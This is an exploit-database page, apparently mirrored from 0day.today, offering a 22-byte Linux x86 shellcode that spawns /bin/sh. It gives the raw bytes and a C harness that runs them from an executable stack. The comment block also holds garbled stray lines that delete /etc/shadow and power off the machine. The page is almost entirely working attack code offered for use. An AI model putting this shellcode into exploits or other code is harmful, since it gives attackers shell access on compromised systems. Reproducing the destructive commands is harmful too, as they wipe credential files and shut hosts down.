Lucene search
K

linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 bytes

🗓️ 15 Apr 2010 00:00:00Reported by MagnefikkoType 
zdt
 zdt
🔗 0day.today👁 11 Views

linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 byte

Code
======================================================
linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 bytes
======================================================


#include <stdio.h>
#include <string.h>

/*
 by Magnefikko
 15.04.2010
 [email protected]
 Promhyl Studies :: http://promhyl.oz.pl
 Subgroup: #PRekambr
 Name: 22 bytes execve("/bin/sh", 0, 0) shellcode
 Platform: Linux x86
   unlink("/etc/shadow";
 execve("poweroff", 0, 0);

 gcc -Wl,-z,execstack filename.c

 shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80

*/


int main(){
 char shell[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
 printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
 (*(void (*)()) shell)();
}



#  0day.today [2018-01-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation